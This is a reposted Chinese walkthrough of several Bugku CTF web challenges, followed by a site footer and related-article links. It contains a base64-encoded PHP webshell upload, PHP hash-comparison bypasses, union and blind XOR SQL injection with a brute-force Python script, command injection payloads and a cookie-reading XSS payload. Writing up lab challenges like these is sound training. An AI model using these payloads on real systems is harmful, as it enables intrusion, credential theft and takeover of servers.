bugku3

news2024/12/25 9:11:03

xxx二手交易市场

进去是这样讴歌乱进的页面

查看了一下源代码也没什么

先随便注册一个账号

然后登录

随便看了看,发现可以修改头像

上传文件

随便上传了一个图片

发现他对图片进行了base64加密

解密后得到是

data:image/jpeg;base64

这里重新修改类型为php,后面的一句话木马用base64来加密一下

上传

image=data:image/php;base64,/9j/PD9waHAgQGV2YWwoJF9QT1NUWydhYmMnXSk7Pz4=

蚁剑

前女友 md5

进去又是讴歌乱进的东西

源代码

看到code.txt,访问一下

<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>

做过好多次了,可以用PHP处理0e开头md5时hash字符串漏洞来绕过

https://www.cnblogs.com/0yst3r-2046/p/10748412.html

 或者利用数组

在PHP中

MD5是不能处理数组的,md5(数组)会返回null

所以即

md5(a[])==null,md5(b[])==null,md5(a[])=md5(b[])=null也可以满足代码中的条件

/?v1[]=1&v2[]=2&v3[]=3;

需要管理员 

进去是404

用dirsearch扫一下

发现robots.txt

看到/resusl.php 

发现需要get传参x为密码

随便尝试一下admin居然成功了

No one knows regex better than me  正则

 <?php 
error_reporting(0);
$zero=$_REQUEST['zero'];
$first=$_REQUEST['first'];
$second=$zero.$first;
if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second)){
    $key=$second;
    if(preg_match("/\.\.|flag/",$key)){
        die("Noooood hacker!");
    }else{
        $third=$first;
        if(preg_match("/\\|\056\160\150\x70/i",$third)){
            $end=substr($third,5);
            highlight_file(base64_decode($zero).$end);//maybe flag in flag.php
        }
    }
}
else{
    highlight_file(__FILE__);
} 

    preg_match_all(匹配的正则表达式,需要匹配的字符串):=>运用正则表达式匹配规则的全部内容,返回匹配的次数.

$second='Hbwqqqqq';
$a= preg_match_all("/q/i",$second); //返回值是5

    preg_match()同上,只是匹配一次就停止,成功返回1,否则返回0

    substr()字符串的截取函数 共有三个参数 .
        第一个需要截取的字符串
        第二个从第几个开始截取
        第三个截取字符串的长度

$second='Hbwq123';
$c= substr($second,4,2);
print($c);//输出12

审计

传入的两个参数只要有这其中的字符就行了(一个就行)

if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second))

不能有.或者flag

if(preg_match("/\.\.|flag/",$key))

\056\160\150\x70=>.php        为16进制和8进制ascii代码,php可自动识别
这里匹配过程是这样的 \| => | => |
最终为|.php 

if(preg_match("/\\|\056\160\150\x70/i",$third))

$third=$first 仅需构造xxxxx.php型的字符串即可,但是第三次匹配字符为|.php,应当为

xxxx|.php
//xxxx可为oror aaaa 等等 

$zero为base64(‘flag’)即可

ZmxhZw==

/?first=aaaa|.php&zero=ZmxhZw==

各种绕过哟 数组

 <?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
    if ($_GET['uname'] == $_POST['passwd'])

        print 'passwd can not be uname.';

    else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))

        die('Flag: '.$flag);

    else

        print 'sorry!';

}
?> 

 只要使uname的sha1的值与passwd的sha1的值相等即可,但是同时他们两个的值又不能相等

get:

/?uname[]=1&id=margin

post:

passwd[]=1;

留言板 存储型xss

进去是这样的

用dirsearch扫描一下

访问一下看看

这里登录我用弱口令都尝试了一下但是没有成功

用bp也没爆破出来。。

看别人wp说有db.sql文件

# Host: localhost  (Version: 5.5.53)
# Date: 2019-08-04 16:13:22
# Generator: MySQL-Front 5.3  (Build 4.234)
 
/*!40101 SET NAMES utf8 */;
 
#
# Structure for table "text"
#
 
CREATE DATABASE xss DEFAULT CHARACTER SET utf8;
use xss; 
 
DROP TABLE IF EXISTS `text`;
CREATE TABLE `text` (
  `Id` int(11) NOT NULL AUTO_INCREMENT,
  `text` varchar(255) DEFAULT NULL,
  PRIMARY KEY (`Id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
 
#
# Data for table "text"
#
 
/*!40000 ALTER TABLE `text` DISABLE KEYS */;
/*!40000 ALTER TABLE `text` ENABLE KEYS */;
 
#
# Structure for table "user"
#
 
DROP TABLE IF EXISTS `user`;
CREATE TABLE `user` (
  `Id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(255) DEFAULT NULL,
  `password` varchar(255) DEFAULT NULL,
  PRIMARY KEY (`Id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
 
#
# Data for table "user"
#
 
/*!40000 ALTER TABLE `user` DISABLE KEYS */;
INSERT INTO `user` VALUES (1,'admin','011be4d65feac1a8');
/*!40000 ALTER TABLE `user` ENABLE KEYS */;

INSERT INTO `user` VALUES (1,'admin','011be4d65feac1a8'); 

可以得到账号密码

登陆成功

我们可以发现如果在留言板写入

<script>alert(1)</script>

发现可以被执行

那么我们写入,构造一个获取cookie的js代码

<script>alert(document.cookie)</script>

访问管理员界面 

file_get_contents

 <?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

empty() 函数用于检查一个变量是否为空。empty() 判断一个变量是否被认为是空的。当一个变量并不存在,或者它的值等同于 FALSE,那么它会被认为不存在。如果变量不存在的话,empty()并不会产生警告。

extract()函数从数组里将变量导入到当前的符号表。extract函数:可以进行变量覆盖。
语法:extract(array,extract_rules,prefix)
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组里的各元素,将在当前符号表里创建对应的一个变量。第二个参数 type 用于指定当某个变量已经存在,而数组里又有同名元素时,extract() 函数如何对待这样的突。该函数返回成功导入到符号表里的变量数目。

file_get_contents()把整个文件读入一个字符串里。
语法:file_get_contents(path,include_path,context,start,max_length)
该函数是用于把文件的内容读入到一个字符串里的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。

trim()函数移除字符串两侧的空白字符或其他预定义字符。
语法trim(string,charlist)
经过分析,该段代码是将通过GET方法传入的参数赋值给其内某个变量,传入的参数如果和$fn文件里的字符一致时,便可以得到flag

就是要上传 ac和fn两个参数

且ac的值等于fn文件内容的值

这时候就可以用到php伪协议的php://input

他的作用是可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。

顺便记一下这个伪协议需要allow_url_include为on

 用hackbar一直没成功就用了bp

因为我们访问一下flag.txt可以看到

所以我们让ac=bugku也是一样的道理

login2 sql

进去是这样的登录框

抓包先看看

解密

 

$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}

 想要登录成功,可以 通过输入不存在用户,用union select 构造出指定密码的md5值。

username=admin' union select 1,md5(123)#&password=123

发现登录成功

 

    payload:123 | cat /flag >1.php
    查看 flag文件并输出到1.php里边
    1.php可以在网站子目录查看内容拿到flag

 点login咋没反应 cookie

进去是这样的登录界面

抓包了 但是一点反应都没有 登陆信息也没有

那查看一下源代码

这里看到admin.css

有点奇怪第一行

访问一下看看

当传入的参数是空的,cookie的值反序列化后等于key,则显示flag 

===:三个等号我们称为等同符,当等号两边的值为相同类型的时候,直接比较等号两边的值,值相同则返回true,若等号两边的值类型不同时直接返回false。

要上传cookie 直接用bp

BUGKU=s:13:"ctf.bugku.com";

 

都过滤了 sql 命令执行

 

进去是这样的登录

放到bp

fuzz一下

经测试逗号被过滤了,但异或符号 ^ 还可以使用,当uname输入非admin时,返回值都为username error,当uname输入admin时,返回值为password error

说明用户名为amdin,接下来开始利用异或注入

  • 判断密码长度:uname=admin'^(length(passwd)=32)^'

    最后的 ‘ 用来闭合原本的右括号,这个结果返回empty,因此页面显示username error;分析返回结果时需要注意sql运算符的优先级, ^ > = ,所以先进行异或运算,最后进行比较运算,且字符串与数字做异或运算时,会先进行类型转换,如’admin’^1相当于0^1;此题中,’admin’相当于0,(length(passwd)=32)相当于1,’’相当于0,所以0^1^0为1,最后进行uname的比较运算,即在数据库中匹配uname=1的数据,而数据库中的uname为’admin’,在进行’admin’=1比较时,’admin’先转换成整型0,0=1为false,所以返回empty。

    同理,当payload中密码长度修改为31时,异或运算相当于0^0^0,结果为0,在做比较运算时,uname=0,而’admin’转化为0,0=0为true,则查询成功,uname绕过了,因此页面显示passwd error;故可以通过这一点判断密码长度为32;猜测密码为md5密文;

判断密码每一位字符:uname=admin'^(ascii(substr((passwd)from(1))=52)^'

用于判读密码第一位的字符(注意mysql和php不同,substr的第一位不是从0开始,而是1);substr((passwd)from(1))利用了括号绕过逗号,相当于substr(passwd,1)。和判断密码长度的原理相同,当密码第一位判断正确时,返回username error,错误时返回passwd error,根据返回结果的不同爆破出32位密码,脚本如下: 

import requests
url='http://114.67.175.224:10288/login.php'
mima=''
r=requests.session()
for i in range(1,33):
  for j in range(48,123):
    data={
      'uname':f"admin'^(ascii(substr((passwd)from({i})))={j})^'",
      'passwd':'123'
    }
    resp=r.post(url,data=data).text
    if 'username' in resp:
      print(f"第{i}个:{chr(j)}")
      mima+=chr(j)
print(mima)

 

得到32位密文后,放入somd5解密得到密码bugkuctf,利用账号admin和密码bugku登录后,进入新的页面

有系统命令执行功能,但过滤部分字符串,获得flag的payload有很多,下面列举几个并作说明: 

cat<>/flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1460561.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

栈的实现及其括号匹配问题

栈的实现及其括号匹配问题 一、栈的基本概念及其实现二、栈的数据结构实现三、oj题括号匹配问题解答 一、栈的基本概念及其实现 1.什么是栈&#xff1f;   栈是一种特殊的线性表&#xff0c;只允许栈顶一段插入和删除数据&#xff0c;栈底就是一个容器的底子&#xff0c;栈中…

ubuntu22.04@Jetson Orin Nano之OpenCV安装

ubuntu22.04Jetson Orin Nano之OpenCV安装 1. 源由2. 分析3. 证实3.1 jtop安装3.2 jtop指令3.3 GPU支持情况 4. 安装OpenCV4.1 修改内容4.2 Python2环境【不需要】4.3 ubuntu22.04环境4.4 国内/本地环境问题4.5 cudnn版本问题 5. 总结6. 参考资料 1. 源由 昨天用Jetson跑demo程…

数据恢复软件推荐!简单几步找回丢失数据!

“我真的非常需要一款靠谱的数据恢复软件&#xff01;在对电脑文件进行移动时有些文件被我误删了&#xff0c;在回收站也无法找到&#xff0c;大家有什么比较好的数据恢复软件推荐吗&#xff1f;” 随着数字时代的来临&#xff0c;数据已成为我们生活和工作中不可或缺的一部分。…

微服务-Alibaba微服务nacos实战

1. Nacos配置中心 1.1 微服务为什么需要配置中心 在微服务架构中&#xff0c;当系统从一个单体应用&#xff0c;被拆分成分布式系统上一个个服务节点后&#xff0c;配置文件也必须跟着迁移&#xff08;分割&#xff09;&#xff0c;这样配置就分散了&#xff0c;不仅如此&…

普中51单片机学习(串口通信)

串口通信 原理 计算机通信是将计算机技术和通信技术的相结合&#xff0c;完成计算机与外部设备或计算机与计算机之间的信息交换 。可以分为两大类&#xff1a;并行通信与串行通信。并行通信通常是将数据字节的各位用多条数据线同时进行传送 。控制简单、传输速度快&#xff1…

自然语言编程系列(二):自然语言处理(NLP)、编程语言处理(PPL)和GitHub Copilot X

编程语言处理的核心是计算机如何理解和执行预定义的人工语言&#xff08;编程语言&#xff09;&#xff0c;而自然语言处理则是研究如何使计算机理解并生成非正式、多样化的自然语言。GPT-4.0作为自然语言处理技术的最新迭代&#xff0c;其编程语言处理能力相较于前代模型有了显…

MT5016A-ASEMI大电流整流桥MT5016A

编辑&#xff1a;ll MT5016A-ASEMI大电流整流桥MT5016A 型号&#xff1a;MT5016A 品牌&#xff1a;ASEMI 封装&#xff1a;D-63 最大重复峰值反向电压&#xff1a;1600V 最大正向平均整流电流(Vdss)&#xff1a;50A 功率(Pd)&#xff1a; 芯片个数&#xff1a;4 引脚数…

Python + Selenium —— 元素定位函数 find_element!

WebDriver 中的 find_element() 方法用来查找元素&#xff0c;并返回 WebElement 对象。是 WebDriver 中最常用的方法。 前面提到的八种定位方式都有对应的方法&#xff0c;如find_element_by_id()。 在 WebDriver 中还有一种用法&#xff0c;就是单纯的find_element()。需要…

8款白嫖党必备的ai写作神器,你都知道吗? #AI写作#科技

这些工具不仅可以快速生成高质量的文本内容&#xff0c;还可以根据用户的需求进行个性化定制。它们可以帮助我们节省大量的时间和精力&#xff0c;让我们更加专注于创意和细节的打磨。本文将为大家详细介绍几个AI写作工具&#xff0c;让你在写作领域更上一层楼。 1.元芳写作 …

ASP.NET-实现图形验证码

ASP.NET 实现图形验证码能够增强网站安全性&#xff0c;防止机器人攻击。通过生成随机验证码并将其绘制成图像&#xff0c;用户在输入验证码时增加了人机交互的难度。本文介绍了如何使用 C# 和 ASP.NET 创建一个简单而有效的图形验证码系统&#xff0c;包括生成随机验证码、绘制…

8*4点LED数显/数码管显示驱动控制芯片-VK1650,兼容替代市面1650,提供FAE技术支持

产品品牌&#xff1a;永嘉微电/VINKA 产品型号&#xff1a;VK1650 封装形式&#xff1a;SOP16 概述&#xff1a; VK1650是一种带键盘扫描电路接口的LED驱动控制专用芯片&#xff0c;内部集成有数据锁存 器、LED驱动、键盘扫描等电路。SEG脚接LED阳极&#xff0c;GRID脚接LED阴…

Outlook 中关闭特殊字符显示

故障现象&#xff1a; 不知道什么原因&#xff0c;Outlook发mail时候&#xff0c;突然显示如下的特殊字符&#xff0c;看起来非常不方便&#xff0c;需要关闭; 解决办法&#xff1a; 在Outlook正文里面&#xff0c;输入CtrlShift*&#xff08; 其中*是键盘数字8旁边的那个*&a…

使用Docker部署Docker-Compose-Ui工具并实现公网访问

文章目录 1. 安装Docker2. 检查本地docker环境3. 安装cpolar内网穿透4. 使用固定二级子域名地址远程访问 Docker Compose UI是Docker Compose的web界面。这个项目的目标是在Docker Compose之上提供一个最小的HTTP API&#xff0c;同时保持与Docker Compose CLI的完全互操作性。…

【Unity3D】ASE制作天空盒

找到官方shader并分析 下载对应资源包找到\DefaultResourcesExtra\Skybox-Cubed.shader找到\CGIncludes\UnityCG.cginc观察变量, 观察tag, 观察代码 需要注意的内容 ASE要处理的内容 核心修改 添加一个Custom Expression节点 code内容为: return DecodeHDR(In0, In1);outp…

第十四章[面向对象]:14.3:实例属性

一,认识实例属性 1,什么是实例属性? 实例属性是与类的每个实例相关联的属性。 每个类的实例都可以拥有自己的一组实例属性。 实例属性通常在类的构造方法(通常是__init__方法)内定义,并使用self关键字来访问。 2,实例属性的一个重要特点是每个实例都有自己独立的一组实…

从0到1的私域流量体系搭建,私域操盘手的底层认知升级

一、教程描述 本套私域操盘手教程&#xff0c;大小4.31G&#xff0c;共有12个文件。 二、教程目录 01第一课、私域能力必修&#xff1a;私域大神熟记于心的高阶私域体系.mp4 02第二课、私域IP打造&#xff1a;那些忍不住靠近的私域IP如何打造的.mp4 03第三课、朋友圈经济&…

openEuler二进制安装MySQL8.0.x

一、环境准备 1、系统&#xff1a;openEuler操作系统 2、MySQL版本&#xff1a;MySQL-8.0.36 3、下载地址&#xff1a;https://dev.mysql.com/get/Downloads/MySQL-8.0 二、安装步骤 1、下载glibc版本的MySQL 2、新建用户以安全方式运行进程 [rootnode4 ~]# groupadd -r -g…

基于STL的演讲比赛流程管理系统(个人学习笔记黑马学习)

1、演讲比赛程序需求 1.1比赛规则 学校举行一场演讲比赛&#xff0c;共有12个人参加。比赛共两轮&#xff0c;第一轮为淘汰赛&#xff0c;第二轮为决赛。每名选手都有对应的编号&#xff0c;如 10001~10012比赛方式:分组比赛&#xff0c;每组6个人;第一轮分为两个小组&#xff…

微服务—RabbitMQ高级(业务在各方面的可靠性)

本博客为个人学习笔记&#xff0c;学习网站&#xff1a;2023黑马程序员RabbitMQ入门到实战教程 高级篇章节 目录 生产者可靠性 生产者重连机制 生产者确认机制 介绍 实现 总结与建议 MQ可靠性 数据持久化 LazyQueue 消费者可靠性 消费者确认机制 失败重试机制 失…

【图与网络数学模型】3.Ford-Fulkerson算法求解网络最大流问题

【图与网络数学模型】3.Ford-Fulkerson算法求解网络最大流问题 一、网络流模型1. 概述2. 可行流3. 增广链 二、示例1. 最大流问题2. Alternate Formulation&#xff1a;最小截量问题 三、Ford-Fulkerson 算法1. 导入库2. 初始化残差图3. 定义查找增广路径4. 定义循环5. 程序运行…